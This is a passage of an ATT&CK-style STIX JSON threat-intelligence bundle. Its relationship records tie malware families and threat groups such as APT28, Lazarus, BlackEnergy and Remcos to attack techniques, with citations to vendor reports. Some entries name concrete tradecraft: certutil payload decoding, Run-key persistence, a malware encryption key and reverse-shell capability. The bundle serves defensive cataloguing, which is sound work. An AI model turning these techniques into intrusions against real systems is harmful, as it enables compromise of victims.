                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.715Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--62bd74e2-ca03-4564-ae9b-75637c4c6acf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) collects the victim\u2019s username and whether that user is an admin.(Citation: Unit 42 DarkHydrus July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-04-24T23:55:43.436Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--bc1c5d97-5e95-4ba3-bf61-ffe3de56d508",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "description": "(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "type": "relationship",
            "modified": "2019-03-22T20:21:57.822Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--b349ef5f-4a05-4eef-afe4-1543b8c832fa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "relationship_type": "uses",
            "target_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html",
                    "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.",
                    "source_name": "iSIGHT Sandworm 2014"
                },
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                },
                {
                    "source_name": "UK NCSC Olympic Attacks October 2020",
                    "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games",
                    "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020."
                }
            ],
            "description": "(Citation: iSIGHT Sandworm 2014)(Citation: F-Secure BlackEnergy 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)",
            "type": "relationship",
            "modified": "2020-11-30T19:59:14.218Z",
            "created": "2017-05-31T21:33:27.070Z"
        },
        {
            "id": "relationship--bbd9b8d7-431c-44fa-95ac-61f73271ae92",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has run a keylogger plug-in on a victim.(Citation: Securelist BlackEnergy Nov 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:05:26.300Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--74edb7f4-4c3b-4573-abb0-c4842032b6c3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) stores information gathered from the endpoint in a file named 1.hwp.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.613Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0e113a7f-2aba-4dc6-b4fc-4c0f0d013c3d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MacSpy](https://attack.mitre.org/software/S0282) uses Tor for command and control.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d",
            "type": "relationship",
            "modified": "2020-01-17T19:50:53.350Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fb6a804a-1929-4c13-a78d-1cf724c09e77",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RIPTIDE](https://attack.mitre.org/software/S0003) is a RAT that communicates with HTTP.(Citation: Moran 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Moran 2014",
                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--921c2a85-eab7-4cfc-9ac5-98a463262c17",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An [APT28](https://attack.mitre.org/groups/G0007) macro uses the command <code>certutil -decode</code> to decode contents of a .txt file storing the base64 encoded payload.(Citation: Unit 42 Sofacy Feb 2018)(Citation: Palo Alto Sofacy 06-2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 Sofacy Feb 2018"
                },
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-20T16:37:06.322Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--fe786b29-e621-48e2-84b5-aed35e6930fe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Wingbird](https://attack.mitre.org/software/S0176) checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit.(Citation: Microsoft SIR Vol 21)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft SIR Vol 21",
                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"
                }
            ],
            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-02-11T19:39:04.083Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--1e59381b-fcf5-43e1-b8d5-499db015b208",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[iKitten](https://attack.mitre.org/software/S0278) will look for the current IP address.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-01-17T22:37:17.409Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4c06e313-2cde-494c-a8dc-449649a1afa6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample XORs C2 traffic. Other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses Caracachs encryption to encrypt C2 payloads.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-12-11T17:47:23.013Z",
            "created": "2017-05-31T21:33:27.066Z"
        },
        {
            "id": "relationship--bfa9ae5f-0e45-4a43-9d37-00c9574a1528",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) attempts to hide its payloads using legitimate filenames.(Citation: PaloAlto Patchwork Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-17T23:28:24.858Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--394d53b3-da1c-44b4-8abf-e1092f34c8be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) supports file encryption (AES with the key \"lolomycin2017\").(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.304Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--274c31fe-0724-4c26-b389-fedafa37f7df",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can disable Microsoft Office Protected View by changing Registry keys.(Citation: FireEye MuddyWater Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2019-04-22T22:36:53.174Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7415b249-520c-4ec9-aa03-b12b5b22f6be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of creating a reverse shell.(Citation: FireEye APT33 Sept 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
                    "source_name": "FireEye APT33 Sept 2017"
                }
            ],
            "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T21:48:59.676Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to enumerate network shares.(Citation: CIRCL PlugX March 2013)",
            "id": "relationship--5e7460f8-9ea9-4aa4-b06e-15861b02d70e",
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "type": "relationship",
            "modified": "2019-04-19T15:08:16.052Z",
            "created": "2019-01-29T18:17:59.279Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fortinet Remcos Feb 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html",
                    "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) can add itself to the Registry key <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> for persistence.(Citation: Fortinet Remcos Feb 2017)",
            "id": "relationship--1be18787-844d-4135-9781-e5b6a8e76d14",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-19T14:39:53.103Z",
            "created": "2019-01-29T18:55:20.763Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) has the option to compress its payload using UPX or MPRESS.(Citation: Malwarebytes DarkComet March 2018)",
            "id": "relationship--c241606f-e0e2-4179-8e8d-444fb1406df4",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2019-06-04T19:40:43.718Z",
            "created": "2019-01-29T19:18:28.625Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "source_name": "ESET Carbon Mar 2017"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) enumerates values in the Registry.(Citation: ESET Carbon Mar 2017)",
            "id": "relationship--3598d32e-306d-421d-af3c-8c9f5d1628a2",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-04-12T14:43:22.710Z",
            "created": "2019-01-29T19:36:02.824Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) heavily obfuscates its code to make analysis more difficult.(Citation: Kaspersky Turla)",
            "id": "relationship--e600fe60-36d1-4053-af2f-13830d95bd14",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-07-26T16:10:43.155Z",
            "created": "2019-01-29T19:55:48.266Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/",
                    "source_name": "TrendMicro Tropic Trooper Mar 2018"
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used SSL to connect to C2 servers.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: TrendMicro Tropic Trooper May 2020)",
            "id": "relationship--6a8356c2-5a79-40b7-bb8e-b7d9dffbe523",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-05-21T18:57:34.313Z",
            "created": "2019-01-29T20:17:49.316Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) uses WMI to enumerate installed security products in the victim\u2019s environment.(Citation: Unit 42 BadPatch Oct 2017)",
            "id": "relationship--c443cc21-5f8f-4c12-8848-39c469a1c9b2",
            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-04-23T21:17:49.967Z",
            "created": "2019-01-29T21:33:34.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Micropsia June 2017",
                    "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html",
                    "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."
                },
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) uses HTTP and HTTPS for C2 network communications.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)",
            "id": "relationship--a0fade5f-6f66-415d-b078-f7ebf9542a63",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:49:40.732Z",
            "created": "2019-01-29T21:47:53.706Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can use regsvr32 for executing scripts.(Citation: Unit42 Xbash Sept 2018)",
            "id": "relationship--ee9da7e8-12a5-4b77-84ce-a5453874a070",
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "type": "relationship",
            "modified": "2019-06-28T15:15:54.499Z",
            "created": "2019-01-30T13:28:47.813Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\\SYSTEM).(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--1ad1048f-05ce-4bde-a570-6b4be5fbeb4c",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2019-04-17T22:22:22.067Z",
